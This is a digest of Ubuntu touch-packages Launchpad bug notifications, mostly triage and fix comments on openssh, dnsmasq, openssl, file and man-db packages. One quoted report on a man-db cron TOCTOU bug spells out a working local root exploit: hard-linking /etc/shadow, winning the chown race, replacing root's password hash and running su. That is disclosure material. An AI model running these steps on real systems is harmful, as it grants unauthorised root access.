  ProcVersionSignature: Ubuntu 5.4.0-40.44-generic 5.4.44
  Uname: Linux 5.4.0-40-generic x86_64
  NonfreeKernelModules: nvidia
  ApportVersion: 2.20.11-0ubuntu27.3
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: X-Cinnamon
  Date: Sat Jul 18 17:30:36 2020
  InstallationDate: Installed on 2013-10-11 (2471 days ago)
  InstallationMedia: Ubuntu 13.04 "Raring Ringtail" - Release amd64 (20130424)
  SourcePackage: apt
  UpgradeStatus: Upgraded to focal on 2020-07-12 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1888061/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1003842] Re: SDFEEWRDSsdfdasfsdf

[Colin Watson]

** Changed in: dnsmasq (Ubuntu)
   Status: New => Triaged

** Changed in: dnsmasq (Ubuntu Precise)
   Status: New => Triaged

** Changed in: network-manager (Ubuntu)
   Status: New => Invalid

** Changed in: network-manager (Ubuntu Precise)
   Status: New => Invalid

** Summary changed:

- SDFEEWRDSsdfdasfsdf
+ dnsmasq sometimes fails to resolve private names in networks with 
non-equivalent nameservers

** Tags added: precise xenial

** Description changed:

- dfasfwerwq2323sf
+ A number of reports already filed against network-manager seem to
+ reflect this problem, but to make things very clear I am opening a new
+ report.  Where appropriate I will mark other reports as duplicates of
+ this one.
+ 
+ Consider a pre-Precise system with the following /etc/resolv.conf:
+ 
+ nameserver 192.168.0.1
+ nameserver 8.8.8.8
+ 
+ The first address is the address of a nameserver on the LAN that can
+ resolve both private and public domain names.  The second address is the
+ address of a nameserver on the Internet that can resolve only public
+ names.
+ 
+ This setup works fine because the GNU resolver always tries the first-
+ listed address first.
+ 
+ Now the administrator upgrades to Precise and instead of writing the
+ above to resolv.conf, NetworkManager writes
+ 
+ server=192.168.0.1
+ server=8.8.8.8
+ 
+ to /var/run/nm-dns-dnsmasq.conf and "nameserver 127.0.0.1" to
+ resolv.conf.  Resolution of private domain names is now broken because
+ dnsmasq treats the two upstream nameservers as equals and uses the
+ faster one, which could be 8.8.8.8.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dnsmasq in Ubuntu.
https://bugs.launchpad.net/bugs/1003842

Title:
  dnsmasq sometimes fails to resolve private names in networks with non-
  equivalent nameservers

Status in dnsmasq package in Ubuntu:
  Triaged
Status in network-manager package in Ubuntu:
  Invalid
Status in dnsmasq source package in Precise:
  Triaged
Status in network-manager source package in Precise:
  Invalid
Status in dnsmasq package in Debian:
  New

Bug description:
  A number of reports already filed against network-manager seem to
  reflect this problem, but to make things very clear I am opening a new
  report.  Where appropriate I will mark other reports as duplicates of
  this one.

  Consider a pre-Precise system with the following /etc/resolv.conf:

  nameserver 192.168.0.1
  nameserver 8.8.8.8

  The first address is the address of a nameserver on the LAN that can
  resolve both private and public domain names.  The second address is
  the address of a nameserver on the Internet that can resolve only
  public names.

  This setup works fine because the GNU resolver always tries the first-
  listed address first.

  Now the administrator upgrades to Precise and instead of writing the
  above to resolv.conf, NetworkManager writes

  server=192.168.0.1
  server=8.8.8.8

  to /var/run/nm-dns-dnsmasq.conf and "nameserver 127.0.0.1" to
  resolv.conf.  Resolution of private domain names is now broken because
  dnsmasq treats the two upstream nameservers as equals and uses the
  faster one, which could be 8.8.8.8.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dnsmasq/+bug/1003842/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1881314] Re: libssl1.1-dbgsym 1.1.1-1ubuntu2.1~18.04.6 missing from ddebs.ubuntu.com for 18.04

[Colin Watson]

ddebs.ubuntu.com has caught up now.  Thanks for letting us know.

** Changed in: openssl (Ubuntu)
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssl in Ubuntu.
https://bugs.launchpad.net/bugs/1881314

Title:
  libssl1.1-dbgsym 1.1.1-1ubuntu2.1~18.04.6 missing from
  ddebs.ubuntu.com for 18.04

Status in openssl package in Ubuntu:
  Fix Released

Bug description:
  After a recent update:

  $ apt-get install libssl1.1-dbgsym
  The following packages have unmet dependencies:
   libssl1.1-dbgsym : Depends: libssl1.1 (= 1.1.1-1ubuntu2.1~18.04.5) but 
1.1.1-1ubuntu2.1~18.04.6 is to be installed
  E: Unable to correct problems, you have held broken packages.

  The following debug repositories are enabled:

  $ cat /etc/apt/sources.list.d/ddebs.list 
  deb http://ddebs.ubuntu.com bionic main restricted universe multiverse
  deb http://ddebs.ubuntu.com bionic-updates main restricted universe multiverse

  When manually inspecting the apt repository for `bionic-updates`[1],
  the timestamp is 5/19/2020 (prior to the libssl update on ~5/27), and
  the only libssl1.1-dbgsym entry is:

  Package: libssl1.1-dbgsym
  Package-Type: ddeb
  Architecture: amd64
  Version: 1.1.1-1ubuntu2.1~18.04.5

  Meanwhile, I'm unable to find any policy information online about how
  frequently the ddebs repositories get updated.

  [1] http://ddebs.ubuntu.com/dists/bionic-updates/main/binary-
  amd64/Packages.gz

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: libssl1.1 1.1.1-1ubuntu2.1~18.04.6
  Uname: Linux 5.5.17-1rodete4-amd64 x86_64
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  Date: Fri May 29 08:47:51 2020
  ProcEnviron:
   LD_LIBRARY_PATH=
   TERM=xterm
   PATH=(custom, user)
  SourcePackage: openssl
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssl/+bug/1881314/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1881314] Re: libssl1.1-dbgsym 1.1.1-1ubuntu2.1~18.04.6 missing from ddebs.ubuntu.com for 18.04

[Colin Watson]

Looks like ddebs.ubuntu.com's update process got stuck that day due to a
network outage, and never recovered.  I've unstuck it and it should
catch up soon.

** Changed in: openssl (Ubuntu)
   Status: New => In Progress

** Changed in: openssl (Ubuntu)
 Assignee: (unassigned) => Colin Watson (cjwatson)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssl in Ubuntu.
https://bugs.launchpad.net/bugs/1881314

Title:
  libssl1.1-dbgsym 1.1.1-1ubuntu2.1~18.04.6 missing from
  ddebs.ubuntu.com for 18.04

Status in openssl package in Ubuntu:
  In Progress

Bug description:
  After a recent update:

  $ apt-get install libssl1.1-dbgsym
  The following packages have unmet dependencies:
   libssl1.1-dbgsym : Depends: libssl1.1 (= 1.1.1-1ubuntu2.1~18.04.5) but 
1.1.1-1ubuntu2.1~18.04.6 is to be installed
  E: Unable to correct problems, you have held broken packages.

  The following debug repositories are enabled:

  $ cat /etc/apt/sources.list.d/ddebs.list 
  deb http://ddebs.ubuntu.com bionic main restricted universe multiverse
  deb http://ddebs.ubuntu.com bionic-updates main restricted universe multiverse

  When manually inspecting the apt repository for `bionic-updates`[1],
  the timestamp is 5/19/2020 (prior to the libssl update on ~5/27), and
  the only libssl1.1-dbgsym entry is:

  Package: libssl1.1-dbgsym
  Package-Type: ddeb
  Architecture: amd64
  Version: 1.1.1-1ubuntu2.1~18.04.5

  Meanwhile, I'm unable to find any policy information online about how
  frequently the ddebs repositories get updated.

  [1] http://ddebs.ubuntu.com/dists/bionic-updates/main/binary-
  amd64/Packages.gz

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: libssl1.1 1.1.1-1ubuntu2.1~18.04.6
  Uname: Linux 5.5.17-1rodete4-amd64 x86_64
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  Date: Fri May 29 08:47:51 2020
  ProcEnviron:
   LD_LIBRARY_PATH=
   TERM=xterm
   PATH=(custom, user)
  SourcePackage: openssl
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssl/+bug/1881314/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1482786] Re: man-db daily cron job TOCTOU bug when processing catman pages

[Colin Watson]

@serge-hallyn: The fix for the reported bug was entirely in man-db (see
comment #15), although it was a combination of upstream and packaging
work.  The apport, pam, and shadow tasks were spun off by @sarnold; the
pam/shadow tasks are explained in comment #2.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1482786

Title:
  man-db daily cron job TOCTOU bug when processing catman pages

Status in apport package in Ubuntu:
  Confirmed
Status in man-db package in Ubuntu:
  Fix Released
Status in pam package in Ubuntu:
  Confirmed
Status in shadow package in Ubuntu:
  Confirmed

Bug description:
  The daily mandb cleanup job for old catman pages changes the
  permissions of all non-man files to user man. The problematic code is:

  # expunge old catman pages which have not been read in a week
  if [ -d /var/cache/man ]; then
cd /
if ! dpkg-statoverride --list /var/cache/man >/dev/null 2>1; then
  find /var/cache/man -ignore_readdir_race ! -user man -print0 | \
xargs -r0 chown -f man || true
fi
...

  By creating a hard link and winning the race, user man may escalate
  privileges to user root. See [1] for full explanation.

  man# mkdir -p /var/cache/man/etc
  man# ln /var/crash/.lock /var/cache/man/etc/shadow
  man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath 
/var/cache/man/etc --LinkTarget /etc
  ... Wait till daily cronjob was run
  man# cp /etc/shadow .
  man# sed -r -e 
's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:9:7:::/' 
/etc/shadow > x
  man# cat x > /etc/shadow; rm x
  man# su -s /bin/sh (password is 123)
  root# cat shadow > /etc/shadow; chown root /etc/shadow

  
  # lsb_release -rd
  Description:Ubuntu 14.04.3 LTS
  Release:14.04

  # apt-cache policy man-db
  man-db:
Installed: 2.6.7.1-1ubuntu1
Candidate: 2.6.7.1-1ubuntu1
Version table:
   *** 2.6.7.1-1ubuntu1 0
  500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 
Packages
  100 /var/lib/dpkg/status
   2.6.7.1-1 0
  500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages

  [1]
  http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1482786/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1878722] Re: Webmin Status for NFS error

[Colin Watson]

** Package changed: ubuntu => procps (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to procps in Ubuntu.
https://bugs.launchpad.net/bugs/1878722

Title:
  Webmin Status for NFS error

Status in procps package in Ubuntu:
  New

Bug description:
  I reported the following bug to the Webmin project:
  "The NFS Status monitor is reporting the service down despite the nfsd daemon 
running in ps and the NFS Exports package showing active exports."

  Their response:

  We fixed that already, however, please report this issue to Ubuntu, as
  ps V command should return a version number, like:

  ps from procps-ng 3.3.12
  .. while right now there is a bug, and it returns:

  ps from procps-ng UNKNOWN

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/procps/+bug/1878722/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1835596] Re: incorrect argument to file_printable in [PATCH] PR/62

[Colin Watson]

** Tags added: regression-update

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to file in Ubuntu.
https://bugs.launchpad.net/bugs/1835596

Title:
  incorrect argument to file_printable in [PATCH] PR/62

Status in file package in Ubuntu:
  Confirmed

Bug description:
  In last patch below

  +From d65781527c8134a1202b2649695d48d5701ac60b Mon Sep 17 00:00:00 2001
  +From: Christos Zoulas 
  +Date: Mon, 18 Feb 2019 17:46:56 +
  +Subject: [PATCH] PR/62: spinpx: limit size of file_printable.

  +===
  +--- file-5.32.orig/src/readelf.c 2019-03-13 12:38:58.854781641 -0400
   file-5.32/src/readelf.c  2019-03-13 12:39:43.450945506 -0400
  +@@ -725,7 +725,7 @@ do_core_note(struct magic_set *ms, unsig
  + if (file_printf(ms, ", from '%.31s', pid=%u, uid=%u, "
  + "gid=%u, nlwps=%u, lwp=%u (signal %u/code %u)",
  + file_printable(sbuf, sizeof(sbuf),
  +-CAST(char *, pi.cpi_name)),
  ++RCAST(char *, pi.cpi_name), sizeof(pi.cpi_name)),
  + elf_getu32(swap, pi.cpi_pid),
  + elf_getu32(swap, pi.cpi_euid),
  + elf_getu32(swap, pi.cpi_egid),
  +@@ -1564,7 +1564,8 @@ dophn_exec(struct magic_set *ms, int cla
  + return -1;
  + if (interp[0])
  + if (file_printf(ms, ", interpreter %s",
  +-file_printable(ibuf, sizeof(ibuf), interp)) == -1)
  ++file_printable(ibuf, sizeof(ibuf), interp, sizeof(interp)))
  ++== -1)
  + return -1;
  + return 0;
  + }

  sizeof(interp) is passed to file_printable as the `slen' parameter, since 
interp is of 
  type `char *', sizeof(interp) will be 8 or 4 const value for different 
pointer types, 
  this makes the `interpreter' extraction for elf file limited to 8 bytes under 
x64. 

  A example for this, under ubuntu 18.04:
  $ file /bin/dash
  /bin/dash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), 
dynamically linked,
  interpreter /lib64/l, for GNU/Linux 3.2.0, 
BuildID[sha1]=a783260e3a5fe0afdae77417eea7f
  bf8d645219e, stripped

  notice that the interpreter portion is `/lib64/l', which is 8 bytes long and 
only a part
  of the actual interpreter path. 

  the `slen' parameter here should be something like `sizeof(char) * 
length_of_buffer'
  instead of sizeof(char *).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/file/+bug/1835596/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1873528] Re: sshd overrides from /etc/ssh/sshd_config.d/*conf apply in reverse lexographic order

[Colin Watson]

This is intentional and documented on the part of upstream, and this
behaviour is why I include sshd_config.d at the start of sshd_config
rather than the end.  Yes, it's arguably counter-intuitive; no, there
isn't much I can do about it.  sshd_config(5) says in the first
paragraph of its description:

  "For each keyword, the first obtained value will be used."

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1873528

Title:
  sshd overrides from /etc/ssh/sshd_config.d/*conf apply in reverse
  lexographic order

Status in openssh package in Ubuntu:
  Confirmed

Bug description:
  I am looking at the addition of 'Include /etc/ssh/sshd_config.d/*conf'
  for use in Ubuntu cloud images.  I wanted to add a config file and see
  if I had done things correctly.  I assumed that the files were sourced
  lexographically (based on use of glob() in readconf.h) so that I could
  document how users could override our tuning.  But it appears from
  'sshd -T' output and observed behavior that the first file in
  /etc/sshd_config.d/ to define a parameter wins.  I see in 'sshd -ddd'
  output that they are parsed lexographically but it seems that their
  settings apply in reverse (or whichever comes first) if that makes
  sense.  I'd like to understand if this is correct behavior and get it
  documented.

  Steps to reproduce on focal with openssh-server 1:8.2p1-4:

  1. Create the following files in /etc/ssh/sshd_config.d/ with the content 
shown below:
  40-cloudimg-settings.conf:
ClientAliveInterval 110
PasswordAuthentication yes
PermitRootLogin no

  50-cloudimg-settings.conf:
ClientAliveInterval 120
PermitRootLogin yes

  60-cloudimg-settings.conf:
ClientAliveInterval 180

  2. Check what sshd thinks the values will be with 'sshd -T|grep -i 
clientaliveinterval' and 'sshd -T|grep permitrootlogin'
  clientaliveinterval 110
  permitrootlogin no

  (The tuning I cared about was ClientAliveInterval for my work but
  PermitRootLogin is easier to demonstrate)

  3. Run '/usr/sbin/sshd -ddd' to check debug output for config file parsing 
behavior:
  debug2: load_server_config: filename /etc/ssh/sshd_config
  debug2: load_server_config: done config len = 296
  debug2: parse_server_config_depth: config /etc/ssh/sshd_config len 296
  debug2: /etc/ssh/sshd_config line 13: new include 
/etc/ssh/sshd_config.d/*.conf
  debug2: /etc/ssh/sshd_config line 13: including 
/etc/ssh/sshd_config.d/40-cloudimg-settings.conf
  debug2: load_server_config: filename 
/etc/ssh/sshd_config.d/40-cloudimg-settings.conf
  debug2: load_server_config: done config len = 71
  debug2: parse_server_config_depth: config 
/etc/ssh/sshd_config.d/40-cloudimg-settings.conf len 71
  debug3: /etc/ssh/sshd_config.d/40-cloudimg-settings.conf:1 setting 
ClientAliveInterval 110
  debug3: /etc/ssh/sshd_config.d/40-cloudimg-settings.conf:2 setting 
PasswordAuthentication yes
  debug3: /etc/ssh/sshd_config.d/40-cloudimg-settings.conf:3 setting 
PermitRootLogin no
  debug2: /etc/ssh/sshd_config line 13: including 
/etc/ssh/sshd_config.d/50-cloudimg-settings.conf
  debug2: load_server_config: filename 
/etc/ssh/sshd_config.d/50-cloudimg-settings.conf
  debug2: load_server_config: done config len = 46
  debug2: parse_server_config_depth: config 
/etc/ssh/sshd_config.d/50-cloudimg-settings.conf len 46
  debug3: /etc/ssh/sshd_config.d/50-cloudimg-settings.conf:1 setting 
ClientAliveInterval 120
  debug3: /etc/ssh/sshd_config.d/50-cloudimg-settings.conf:2 setting 
PermitRootLogin yes
  debug2: /etc/ssh/sshd_config line 13: including 
/etc/ssh/sshd_config.d/60-cloudimg-settings.conf
  debug2: load_server_config: filename 
/etc/ssh/sshd_config.d/60-cloudimg-settings.conf
  debug2: load_server_config: done config len = 25
  debug2: parse_server_config_depth: config 
/etc/ssh/sshd_config.d/60-cloudimg-settings.conf len 25
  debug3: /etc/ssh/sshd_config.d/60-cloudimg-settings.conf:1 setting 
ClientAliveInterval 180

  4. Set a root password and unlock the account.

  5. Attempt to ssh as root to the instance with a password.

  Observation:
   * Root password login is denied if PermitRootLogin is 'no' in 40-foo.conf 
and 'yes' in 50-foo.conf
   * Root password login is allowed if PermitRootLogin is 'yes' in 40-foo.conf 
and 'no' in 50-foo.conf

  It appears in 'sshd -ddd' output that files are parsed in lexographic
  order (40-foo.conf before 50-foo.conf) but the behavior observed
  indicates that the value set in 40-foo.conf overrides 50-foo.conf
  which is counter to expectations.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1873528/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1867408] Re: openssh 8.2 waiting on libfido2 MIR

[Colin Watson]

That MIR is now complete.

** Changed in: openssh (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1867408

Title:
  openssh 8.2 waiting on libfido2 MIR

Status in openssh package in Ubuntu:
  Fix Released

Bug description:
  See libfido MIR
  https://bugs.launchpad.net/ubuntu/+source/libfido2/+bug/1864439

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1867408/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1863930] Re: SSH 1.99 clients fail to connect to openssh-server 1:7.6p1-4ubuntu0.3

[Colin Watson]

I have time to maintain openssh in Debian, but in general I don't have
cycles to deal with SRUs, so please could somebody else take care of
that part?

** Changed in: openssh (Ubuntu Bionic)
 Assignee: Colin Watson (cjwatson) => (unassigned)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1863930

Title:
  SSH 1.99 clients fail to connect to openssh-server 1:7.6p1-4ubuntu0.3

Status in openssh package in Ubuntu:
  Fix Released
Status in openssh source package in Bionic:
  New

Bug description:
  SSHD closes the connection and logs the error message below when a
  client presents a protoversion of "1.99":

  Protocol major versions differ for X.X.X.X port X:
  SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 vs. SSH-1.99-XXX

  RFC 4253 only states that clients should treat a server's protoversion
  of "1.99" as equivalent to "2.0"; however, some backward-compatible
  clients send a protoversion of "1.99" and expect the server to treat
  it as "2.0".

  This regression was introduced in openssh-portable 7.6p1 from commit
  97f4d3083; fixes were implemented in commits 9e9c4a7e5 and c9c1bba06.
  I've attached a patch with both of those fixes.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1863930/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1861472] Re: upgrade from fresh bionic to focal needlessly prompts user

[Colin Watson]

** Changed in: openssh (Ubuntu)
   Status: Triaged => Fix Committed

** Changed in: openssh (Ubuntu)
 Assignee: (unassigned) => Colin Watson (cjwatson)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1861472

Title:
  upgrade from fresh bionic to focal needlessly prompts user

Status in openssh package in Ubuntu:
  Fix Committed
Status in openssh package in Debian:
  Fix Released

Bug description:
  Upgrading from a fresh 18.04 LTS install to focal unexpectedly prompts
  for how to handle a change to /etc/ssh/sshd_config

  To reproduce the issue:

  lxc launch ubuntu:18.04 u18
  lxc exec u18 -- bash
  # within container
  do-release-upgrade -d
  # select restart services when prompted

  Eventually you'll be prompted to accept changes to
  /etc/ssh/sshd_config or not because of "local changes".

  Thanks

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: openssh-server 1:8.1p1-5
  ProcVersionSignature: Ubuntu 4.15.0-62.69-generic 4.15.18
  Uname: Linux 4.15.0-62-generic x86_64
  ApportVersion: 2.20.11-0ubuntu16
  Architecture: amd64
  Date: Fri Jan 31 03:37:55 2020
  ProcEnviron:
   TERM=rxvt-unicode-256color
   PATH=(custom, no user)
   LANG=C.UTF-8
  SourcePackage: openssh
  UpgradeStatus: Upgraded to focal on 2020-01-31 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1861472/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1701298] Re: ssh_config should include /etc/ssh/ssh_config.d/* by default

[Colin Watson]

** Changed in: openssh (Ubuntu)
   Status: Confirmed => Fix Committed

** Changed in: openssh (Ubuntu)
 Assignee: (unassigned) => Colin Watson (cjwatson)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1701298

Title:
  ssh_config should include /etc/ssh/ssh_config.d/* by default

Status in openssh package in Ubuntu:
  Fix Committed

Bug description:
  It is not currently possible to deploy packages with system-specific SSH 
configuration settings without modifying the ssh_config file.  Ideally the 
default ssh_config file would simply contain:
  Include /etc/ssh/ssh_config.d/*
  as this would allow packages to deploy such settings without tampering with 
the main ssh_config file.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1701298/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1863447] Re: openssh outdated by 8.2

[Colin Watson]

** Changed in: openssh (Ubuntu)
   Status: In Progress => Fix Committed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1863447

Title:
  openssh outdated by 8.2

Status in openssh package in Ubuntu:
  Fix Committed

Bug description:
  Hi,

  yeah, it's not yet a bug, but it will become a (security) bug within
  lifetime of 20.04 if not 'fixed'.

  Currently openssh for Ubuntu 20.04 is still on 8.1p1, while upstream
  the version 8.2 has just been released:

  https://lists.mindrot.org/pipermail/openssh-unix-
  announce/2020-February/000138.html

  It comes with important security updates, e.g. not accepting SHA-1 for
  key generation/signature anymore, and using FIDO2/U2F-tokens as a
  second factor. Especially the latter significantly improves security
  and helps against stealing keys and hijacking machines.

  It would be important (and nice) to have these improvements of
  security in Ubuntu 20.04.

  
  It might not yet be seen as a security vulnerability, but it will probably 
become one soon. 

  Thanks

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1863447/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1863447] Re: openssh outdated by 8.2

[Colin Watson]

I'm already working on this.

** Changed in: openssh (Ubuntu)
   Importance: Undecided => High

** Changed in: openssh (Ubuntu)
   Status: New => In Progress

** Changed in: openssh (Ubuntu)
 Assignee: (unassigned) => Colin Watson (cjwatson)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1863447

Title:
  openssh outdated by 8.2

Status in openssh package in Ubuntu:
  In Progress

Bug description:
  Hi,

  yeah, it's not yet a bug, but it will become a (security) bug within
  lifetime of 20.04 if not 'fixed'.

  Currently openssh for Ubuntu 20.04 is still on 8.1p1, while upstream
  the version 8.2 has just been released:

  https://lists.mindrot.org/pipermail/openssh-unix-
  announce/2020-February/000138.html

  It comes with important security updates, e.g. not accepting SHA-1 for
  key generation/signature anymore, and using FIDO2/U2F-tokens as a
  second factor. Especially the latter significantly improves security
  and helps against stealing keys and hijacking machines.

  It would be important (and nice) to have these improvements of
  security in Ubuntu 20.04.

  
  It might not yet be seen as a security vulnerability, but it will probably 
become one soon. 

  Thanks

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1863447/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1862480] Re: dpkg-reconfigure console-setup changes do not apply after reboot.

[Colin Watson]

** Project changed: console-setup => console-setup (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to console-setup in Ubuntu.
https://bugs.launchpad.net/bugs/1862480

Title:
  dpkg-reconfigure console-setup changes do not apply after reboot.

Status in console-setup package in Ubuntu:
  New

Bug description:
  I boot Ubuntu 18.04.4 in mode 3 (console mode) and run `sudo dpkg-
  reconfigure console-setup` and select UTF-8 -> Latin1 and Latin5 ->
  Terminus -> 10x20. After that the console immediately switches to this
  font and font size. And it also prints the following message:

  update-initramfs: deferring update (trigger activated)
  Processing triggers for initramfs-tools (0.130ubuntu3.9) ...
  update-initramfs: Generating /boot/initrd.img-4.15.0-76-generic

  After that I reboot into mode 3 again but the font and the font size
  don't get applied. I have to manually run `sudo setupcon -v -f` for my
  changes to take effect after a reboot.

  This looks to be a bug in `dpkg-reconfigure console-setup`.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/console-setup/+bug/1862480/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1861873] Re: apport-collect fails to run with python3.8

[Colin Watson]

I've uploaded 1.10.10-1 to unstable, so this should be fixed after the
next auto-sync.

** Changed in: python-launchpadlib (Ubuntu)
   Importance: Undecided => High

** Changed in: python-launchpadlib (Ubuntu)
   Status: New => Fix Committed

** Changed in: python-launchpadlib (Ubuntu)
 Assignee: (unassigned) => Colin Watson (cjwatson)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1861873

Title:
  apport-collect fails to run with python3.8

Status in launchpadlib :
  Fix Released
Status in apport package in Ubuntu:
  New
Status in python-launchpadlib package in Ubuntu:
  Fix Committed

Bug description:
  errors out with:
  ERROR: connecting to Launchpad failed: module 'cgi' has no attribute 
'parse_qs'\

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpadlib/+bug/1861873/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1861873] Re: apport-collect fails to run with python3.8

[Colin Watson]

Fixed in launchpadlib 1.10.10:

1.10.10 (2020-02-04)

- Fix AccessToken.from_string crash on Python 3.8.  [bug=1861873]

** Changed in: launchpadlib
   Status: Fix Committed => Fix Released

-- 
